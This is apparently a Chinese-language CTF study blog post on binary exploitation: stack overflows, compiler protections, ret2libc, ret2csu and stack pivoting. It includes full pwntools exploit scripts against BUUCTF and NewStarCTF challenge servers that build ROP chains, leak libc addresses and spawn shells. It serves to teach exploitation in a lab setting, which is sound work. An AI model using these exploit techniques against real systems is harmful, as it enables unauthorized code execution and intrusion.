栈溢出 介绍 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:
程序必须向栈上写入数据。
写入的数据大小没有被良好地控制。
基本栈 栈是一种先进后出的数据结构,主要有PUSH和POP两种操作,都是对栈顶的元素进行操作。
内存中从高地址向低地址生长 ,高地址为父函数的栈帧
基本实例: 最典型的栈溢出利用是覆盖程序的返回地址 为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdio.h> #include <string.h> void success (void ) { puts ("flag{You Hava already controlled it!}" ); } void vulnerable (void ) { char s[12 ]; gets (s); puts (s); return ; } int main (int argc, char **argv) { vulnerable (); return 0 ; }
这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。
我们利用如下命令对其进行编译:gcc hello.c -o hello(程序员的自我修养-第二章,编译和链接)
可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,
历史上,莫里斯蠕虫 第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。
编译成功后,得到可执行文件,可以使用 checksec 工具检查编译出的文件:
checksec工具使用 Arch: 程序架构信息。判断是拖进64位IDA还是32位?exp编写时p64还是p32函数?
32位一般同过堆栈传参,而64位为通过寄存器传参
RELRO Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。 部分RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell 完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。
1 2 3 4 gcc -o stack stack.c // 默认情况下,是Partial RELRO gcc -o stack stack.c // 关闭,即No RELRO gcc -z lazy -o stack stack.c // 部分开启,即Partial RELRO gcc -z now -o stack stack.c // 全部开启,即Full RELRO
Stack-canary 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入类似cookie的信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
1 2 3 gcc -fno-stack-protector -o stack stack.c //禁用栈保护 gcc -fstack-protector -o stack stack.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码 gcc -fstack-protector-all -o stack stack.c //启用堆栈保护,为所有函数插入保护代码
NX NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop这种方法绕过
1 2 3 gcc -o stack stack.c // 默认情况下,开启NX保护 gcc -o stack stack.c // 禁用NX保护 gcc -z noexecstack -o stack stack.c // 开启NX保护
PIE PIE(Position-Independent Executable, 位置无关可执行文件)技术与 ASLR 技术类似,ASLR 将程序运行时的堆栈以及共享库的加载地址随机化, 而 PIE 技术则在编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定。这就意味着, 在 PIE 和 ASLR 同时开启的情况下, 攻击者将对程序的内存布局一无所知, 传统的改写 GOT 表项的方法也难以进行, 因为攻击者不能获得程序的.got 段的虚地址。 若开启一般需在攻击时泄露地址信息
1 2 3 4 gcc -o stack stack.c // 默认情况下,不开启PIE gcc -fpie -pie -o stack stack.c // 开启PIE,此时强度为1 gcc -fPIE -pie -o stack stack.c // 开启PIE,此时为最高强度2 (还与运行时系统ALSR设置有关)
1 2 3 gcc -fpie -pie -o hello hello.c gcc -m32 -o hello hello.c -fno-stack-protector -z execstack -z norelro -no-pie
确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到:
1 2 3 4 5 6 7 int vulnerable () { char s; gets (&s); return puts (&s); }
字符串距离 ebp 的长度为 0x14,那么相应的栈结构为:
1 2 3 4 5 6 7 8 9 10 11 12 +-----------------+ | retaddr | +-----------------+ | saved ebp | ebp--->+-----------------+ | | | | | | | | | | | | s,ebp-0x14-->+-----------------+
并且,我们可以通过 IDA 获得 success 的地址,其地址为 0804841B。
那么如果我们读取的字符串为
0x14*’a’+’bbbb’+success_addr
因为,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为:
1 2 3 4 5 6 7 8 9 10 11 12 +-----------------+ | 0x0804841B | +-----------------+ | bbbb | ebp--->+-----------------+ | | | | | | | | | | | | s,ebp-0x14-->+-----------------+
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式是:
但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了,这里利用 pwntools 的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *sh = process('./stack_example' ) success_addr = 0x08049186 payload = b'a' * 0x14 + b'bbbb' + p32(success_addr) print (p32(success_addr))sh.sendline(payload) sh.interactive()
结束 栈溢出原理 - CTF Wiki (ctf-wiki.org)
1 2 3 4 5 $ apt-get update $ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential $ python3 -m pip install --upgrade pip $ python3 -m pip install --upgrade pwntools
中级ROP-泄露libc版本 利用原理:
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
而通常我们不会得到 system(“/bin/sh”)。这里就需要我们泄露libc基址得到偏移,来获取system函数地址以及/bin/sh的地址。
延迟绑定:
延迟绑定实现 为了解决上面动态链接的弊端,ELF采用了一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被用到时才进行绑定(符号查找、重定位等),如果没有用到则不进行绑定。所以程序开始时,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器来负责绑定
ELF使用PLT(Procedure Linkage Table)的方法来实现,在这之前,先从动态链接器的角度设想一下:假设liba.so需要调用liba.so中的bar()函数,你那么当liba.so中第一次调用bar()时,这时候就需要调用动态链接器中的某个函数来完成地址绑定工作,夹着这个函数叫做lookup(),那么lookup()需要知道这个地址绑定发生在哪个模块、哪个函数。假设lookup()的原型为lookup(module,function),两个参数分别是liba.so和bar()。在Glibc中,lookup()函数真正的名字叫做_dl_runtime_resolve()
当我们调用某个外部模块的函数时,PLT为了实现延迟绑定,在这个过程中有增加了一层间接跳转。调用函数并不直接通过GOT跳转,而是通过一个叫做PLT项的结构来进行跳转,每个外部函数在PLT中都有一个相应的项,比如bar()函数在PLT中的项的地址称之为bar@plt:
1 2 3 4 5 6 bar@plt: jmp *(bar@GOT) push n push moduleID jump __dl_runtime_resolve
bar@plt的第一条指令是一条通过GOT间接跳转的指令,bar@GOT表示GOT中保存bar()这个函数相应的项。若果链接器在初始化阶段已经初始化该项,并且将bar()的地址填入该项,那么这个跳转指令的结果就是我们所期望的,跳转到bar(),实现函数正确调用。
但是为了实现延迟绑定,链接器在初始化并没有将bar()的地址填入到该项,而是将上面代码中第二条指令”push n“的地址填入到bar@GOT中,这个步骤不需要任何符号,所以代价很低。 第一条指令的效果是跳转到提二条指令,相当于没有任何操作。 第二条指令将一个数字n压入栈中,这个数字是bar这个符号引用在重定位表”.rel.plt“中的下标 第三条push指令将模块的ID压入到栈中 第四条跳转到dl_runtime_resolve 也就是在实现前面提到的lookup(module, function)这个函数的调用:先将所需要决议符号的下标压入栈,在将模块ID压入栈,然后调用动态链接器的dl_runtime_resolve()函数来完成符号解析和重定位工作。_dl_runtime_resolve()在进行一系列工作以后将bar()的真正地址填入到bar@GOT中
一旦bar()这个函数被解析完毕,再次调用bar@plt时,第一条jmp指令就能够跳转到真正的bar()函数中,bar()函数返回的时候会根据站里面保存的EIP直接返回到调用者,而不会在执行bar@plt中第二条指令开始的那段代码,那段代码只会在符号未被解析时执行一次
ELF将GOT拆分两个表叫做”.got“和”.got.plt“。其中”.got“用来保存全局变量引用地址,”.got.plt“用来保存函数引用地址,所有外部函数的引用全部非分离出来放在”.got.plt“中。另外”.got.plt“还有特殊的提房就是他的前三项:
第一项是“.dynamic”段的地址,这个段描述了本模块动态链接相关的信息 第二项保存的是本模块的ID 第三项保存的是_dl_runtime_resolve()的地址 其中第二项和第三项由动态链接器在装载共享模块的时候将他们初始化”.got.plt“的其余项分别对应每个外部函数的引用。PLT的结构为了减少代码的重复,ELF把上面例子中最后两条指令放到PLT中的第一项。并规定每一项的长度时16个字节,刚好存放3条指令,实际的PLT基本结构如下:
实际的PLT基本结构代码如下:
1 2 3 4 5 6 7 8 PLT0: push *(GOT + 4) jump *(GOT + 8) ... bar@plt: jmp *(bar@GOT) push n jump PLT0
PTL在ELF文件中以独立的段存放,段名通常叫做“.plt”,因为它本身是一些地址无关的代码,所以可以跟代码段等一起合并同一个可读可执行的“Segment”被装载入内存。
利用思路:
泄露_libc_start_main地址
获取libc版本
通过偏移计算出system函数地址以及/bin/sh的地址
再次执行程序
触发栈溢出执行system(’/bin/sh’)
例题:BUUCTF-ciscn_2019_c_1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' p = remote('node5.buuoj.cn' ,27507 ) elf = ELF('./1111' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] pop_rdi =0x0000000000400c83 ret_addr=0x00000000004006b9 payload = b'a' *(0x50 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendlineafter('Input your choice!\n' ,b'1' ) p.recvuntil('Input your Plaintext to be encrypted\n' ) p.sendline(payload) p.recvuntil('Ciphertext\n' ) p.recvuntil('\n' ) puts_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))
得到puts函数的地址后
方法一:网站查询
1 https://libc.rip/#:~:text=URL%3A%20https%3A%2F%2Flibc,100
方法二:使用工具:Libcsearcher
1 from LibcSearcher import *
计算system函数地址以及/bin/sh的地址
进行二次攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 put_addr=0x809c0 str_bin_sh=0x1b3e9a system_addr=0x4f440 libcbase = puts_addr - put_addr system_addr = libcbase + system_addr bin_sh = libcbase + str_bin_sh payload = flat([b'a' *(0x50 +8 ),ret_addr,pop_rdi,bin_sh,system_addr]) p.sendlineafter('Input your choice!\n' ,b'1' ) p.recvuntil('Input your Plaintext to be encrypted\n' ) p.sendline(payload) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr - libc.dump("puts" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) p.sendlineafter('Input your choice!\n' ,b'1' ) p.recvuntil('Input your Plaintext to be encrypted\n' ) payload = flat([b'a' *(0x50 +8 ),ret_addr,pop_rdi,bin_sh,system_addr]) p.sendline(payload) p.interactive()
工具:ROPgadget 一、查找寄存器的地址
1 ROPgadget --binary 文件名 --only "pop|ret" | grep rdi
二、查找一些字符串的地址
1 ROPgadget --binary 文件名 --string /bin/sh
三、查看分析文件的二进制gadgets信息
工具:Libcsearcher 1 git clone https://github.com/lieanu/LibcSearcher.git
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' p = remote('node5.buuoj.cn' ,27507 ) elf = ELF('./1111' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] pop_rdi =0x0000000000400c83 ret_addr=0x00000000004006b9 payload = b'a' *(0x50 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendlineafter('Input your choice!\n' ,b'1' ) p.recvuntil('Input your Plaintext to be encrypted\n' ) p.sendline(payload) p.recvuntil('Ciphertext\n' ) p.recvuntil('\n' ) puts_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc = LibcSearcher("puts" ,puts_addr) libc_base = puts_addr - libc.dump("puts" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) payload = flat([b'a' *(0x50 +8 ),ret_addr,pop_rdi,bin_sh,system_addr]) p.sendlineafter('Input your choice!\n' ,b'1' ) p.recvuntil('Input your Plaintext to be encrypted\n' ) p.sendline(payload) p.interactive()
栈结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 +---------------------------+ | main | 返回到main函数,从而可以再次控制程序流程。 +---------------------------+ | puts_plt | 调用puts函数 +---------------------------+ | puts_got | 参数一,传递给puts函数的参数。 +---------------------------+ | pop_rdi | 将指令压入栈中,以便将puts_got的地址传递给puts函数 +---------------------------+ | a | 覆盖返回地址 rbp--->+---------------------------+ | a | a占位填满栈空间 | .... | ...... | a | a占位填满栈空间 | a | a占位填满栈空间 | a | a占位填满栈空间 | a | a占位填满栈空间 rbp-0x50-->+---------------------------+
高级ROP-ret2CSU 题目:NewStarCTF 2024-My_GBC!!!!! 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall main(int argc, const char **argv, const char **envp){ char buf[16 ]; // [rsp+0h] [rbp-10h] BYREF initial(argc, argv, envp); write(1 , "It's an encrypt machine.\nInput something: " , 0x2CuLL); len = read(0 , buf, 0x500uLL); write(1 , "Original: " , 0xBuLL); write(1 , buf, len ); write(1 , "\n" , 1uLL); encrypt(buf, (unsigned __int8)key, (unsigned int )len ); write(1 , "Encrypted: " , 0xCuLL); write(1 , buf, len ); write(1 , "\n" , 1uLL); return 0 ; }
这里直接粘贴脚本了,有时间再回来补
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' r=remote('8.147.129.74' ,39297 ) elf=ELF('./1111' ) libc=ELF("./libc.so.6" ) def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def decrypt (data, key, length ): decrypted = bytearray (data) for i in range (length): decrypted[i] = ((decrypted[i] >> 3 ) | (decrypted[i] << 5 )) & 0xFF decrypted[i] ^= key return decrypted csu_rear=0x04013AA csu_head=0x0401390 main_addr=0x0040124C pop_rdi=0x00000000004013b3 ret_addr=0x000000000040101a payload =b'a' *(0x10 +8 )+ p64(csu_rear) + p64(0 ) + p64(1 ) + p64(1 ) + p64(elf.got['read' ]) + p64(8 ) + p64(elf.got['write' ])+p64(csu_head)+p64(0 )*7 +p64(main_addr) key = 0x5a length = len (payload) plaintext = decrypt(payload, key, length) r.sendafter('something:' ,plaintext) libc_base=u64(r.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-libc.sym['read' ] print (hex (libc_base))system_addr=libc_base+libc.sym['system' ] bin_sh=libc_base+libc.search(b"/bin/sh\x00" ).__next__() payload1=b'a' *(0x10 +8 )+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr) key = 0x5a length1 = len (payload1) plaintext1 = decrypt(payload1, key, length1) r.sendafter('something:' ,plaintext1) r.interactive()
栈迁移 什么是栈迁移?
简单来说就是控制执行流
为什么要执行栈迁移?
简单来说就是缓冲区的长度,无法溢出到我们所需的返回地址,或者是无法构建ROP
总之就是长度不够
使用栈迁移的条件:
栈迁移的原理
1 2 3 4 5 6 7 leave ;指令 move esp ebp ; pop ebp ; ret ; 指令 pop eip ;
简单介绍一下这两个指令
我们在做栈迁移的题的时候,目的就是修改ebp的内容(修改为我们想要溢出的地址),然后把返回地址填充为leave,ret的地址
因为我们想要实现栈迁移,就必须执行两个leave;ret,main函数正常结束,只有一个level;ret,因此我们在这里必须要它的返回地址写成leave;ret地址,以来进行第二次leave;ret)
核心是利用两次的leave;ret,第一次leave ret;将ebp给放入我们指定的位置(这个位置的就是迁移后的所在位置) ,第二次将esp也迁移到这个位置,并且pop ebp之后,esp也指向了下一个内存单元(此时这里放的就是system函数的plt地址) ,最终成功GetShell。
例题: BUUCTF-ciscn_2019_es_2 BUUCTF-ciscn_2019_s_4 日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 bbq@ubuntu:~/text/1$ checksec 1111 [*] '/home/bbq/text/1/1111' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) bbq@ubuntu:~/text/1$ chmod +x 1111 bbq@ubuntu:~/text/1$ ./1111 Welcome, my friend. What's your name? ok Hello, ok ok Hello, ok bbq@ubuntu:~/text/1$
丢进ida里面看看,
1 2 3 4 5 6 7 8 9 10 int vul () { char s[40 ]; memset (s, 0 , 0x20u ); read (0 , s, '0' ); printf ("Hello, %s\n" , s); read (0 , s, 0x30u ); return printf ("Hello, %s\n" , s); }
劫持到栈上
一、泄露ebp
二、找到参数s在栈上的位置
三、布置s栈上的值
四、栈劫持、获取shell
泄露ebp、找到s在栈上的位置
还是很简单的,printf函数在输出的时候遇到’\0‘会停止,如果我们将参数s全部填满,这样就没法在末尾补上’\0‘,那样就会将ebp连带着输出。
1 2 3 4 5 6 payload=b'a' *0x27 +b'b' r.send(payload) r.recvuntil("b" ) s=ebp=u32(r.recv(4 ))-0x38
布置s栈上的值
1 2 3 4 5 payload2=b'aaaa' +p32(sys)+p32(ret_addr)+p32(s+0x10 )+b"/bin/sh" payload2=payload2.ljust(0x28 ,b'\x00' ) payload2+=p32(s)+p32(leave_ret)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *r=process('./1111' ) sys=0x8048400 leave_ret=0x80485FD ret_addr=0x080483a6 payload=b'a' *0x27 +b'b' r.send(payload) r.recvuntil("b" ) s=ebp=u32(r.recv(4 ))-0x38 payload2=b'aaaa' +p32(sys)+p32(ret_addr)+p32(s+0x10 )+b"/bin/sh" payload2=payload2.ljust(0x28 ,b'\x00' ) payload2+=p32(s)+p32(leave_ret) r.send(payload2) r.interactive()
BUUCTF-actf_2019_babystack 日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 bbq@ubuntu:~/text/3$ checksec 1111 [*] '/home/bbq/text/3/1111' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) bbq@ubuntu:~/text/3$ chmod +x 1111 bbq@ubuntu:~/text/3$ ./1111 Welcome to ACTF's babystack! okok koHow many bytes of your message? >Your message will be saved at 0x7fff0747b9b0 What is the content of your message? >Byebye~ bbq@ubuntu:~/text/3$
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 __int64 __fastcall main (int a1, char **a2, char **a3) { char s[208 ]; setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); setbuf (stderr, 0LL ); signal (14 , handler); alarm (0x3Cu ); memset (s, 0 , sizeof (s)); puts ("Welcome to ACTF's babystack!" ); sleep (3u ); puts ("How many bytes of your message?" ); putchar (62 ); sub_400A1A (); if ( nbytes <= 224 ) { printf ("Your message will be saved at %p\n" , s); puts ("What is the content of your message?" ); putchar (62 ); read (0 , s, nbytes); puts ("Byebye~" ); return 0LL ; } else { puts ("I've checked the boundary!" ); return 1LL ; } }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *from LibcSearcher import *p=remote('node5.buuoj.cn' ,28677 ) elf=ELF('./1111' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] leave_ret=0x400a18 ret=0x400709 main=0x4008F6 pop_rdi=0x400ad3 ret=0x400709 p.sendlineafter(b'message?' ,b'224' ) p.recvuntil(b'at ' ) rsp=int (p.recv(14 ),16 ) rbp=rsp+0xd0 payload=b'a' *8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload=payload.ljust(0xd0 ,b'a' ) payload+=p64(rsp)+p64(leave_ret) p.sendafter(b'your message?' ,payload) puts_addr=u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (puts_addr))libc=LibcSearcher('puts' ,puts_addr) libcbase=puts_addr-libc.dump('puts' ) system=libcbase+libc.dump('system' ) binsh=libcbase+libc.dump("str_bin_sh" ) p.sendlineafter(b'message?' ,b'224' ) p.recvuntil(b'at ' ) rsp=int (p.recv(14 ),16 ) print (hex (rsp))rbp=rsp+0xd0 payload=b'a' *8 +p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) payload=payload.ljust(0xd0 ,b'a' ) payload+=p64(rsp)+p64(leave_ret) p.sendafter(b'your message?' ,payload) p.interactive()
BUUCTF-gyctf_2020_borrowstack 日常检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 bbq@ubuntu:~/text/2$ checksec 1111 [*] '/home/bbq/text/2/1111' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) bbq@ubuntu:~/text/2$ chmod +x 1111 bbq@ubuntu:~/text/2$ ./1111 Welcome to Stack bank,Tell me what you want ok Done!You can check and use your borrow stack now! ok bbq@ubuntu:~/text/2$
丢进ida里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __fastcall main (int argc, const char **argv, const char **envp) { char buf[96 ]; setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); puts ("Welcome to Stack bank,Tell me what you want" ); read (0 , buf, 112uLL ); puts ("Done!You can check and use your borrow stack now!" ); read (0 , &bank, 0x100uLL ); return 0 ; }
这么看就是第一次进行在buf上,在bss段上进行泄露
这里要注意的是bss段上距离got表太近了说是,就用ret进行抬高栈帧
栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *p=remote('node4.buuoj.cn' ,25199 ) context(arch='amd64' ,os='linux' ,log_level='debug' ) libc=ELF('libc-2.23.so' ) e=ELF('./a' ) puts_plt_addr=e.plt['puts' ] puts_got_addr=e.got['puts' ] pop_rdi_addr=0x400703 level_ret_addr=0x400699 bss_addr=0x601080 ret_addr=0x4004c9 main_addr=0x400626 payload1=0x60 *'a' +p64(bss_addr)+p64(level_ret_addr) p.send(payload1) payload2=p64(ret_addr)*20 payload2+=p64(pop_rdi_addr)+p64(puts_got_addr)+p64(puts_plt_addr) payload2+=p64(main_addr) p.sendafter('Done!You can check and use your borrow stack now!\n' ,payload2) puts_addr=u64(p.recv(6 ).ljust(8 ,'\x00' )) libc_base=puts_addr-libc.symbols['puts' ] shell=libc_base+0x4526a print (hex (shell))payload3=0x60 *'a' +p64(0xdeadbeef )+p64(shell) p.recvuntil('u want\n' ) p.send(payload3) p.recvuntil('Done!You can check and use your borrow stack now!\n' ) p.send('1' ) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from LibcSearcher import *p=process('./1111' ) elf=ELF('./1111' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] main=elf.symbols['main' ] ret=0x4004c9 pop_rdi=0x400703 bank=0x0601080 leave=0x400699 r.recvuntil('u want' ) payload='a' *0x60 +p64(bank)+p64(leave) r.send(payload) r.recvuntil('now!' ) payload=p64(ret)*20 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) r.send(payload) r.recvline() puts_addr=u64(r.recv(6 ).ljust(8 ,'\x00' )) print hex (puts_addr)libc=LibcSearcher('puts' ,puts_addr) libc_base=puts_addr-libc.dump('puts' ) one_gadget=libc_base+0x4526a payload='a' *(0x60 +8 )+p64(one_gadget) r.send(payload) r.interactive()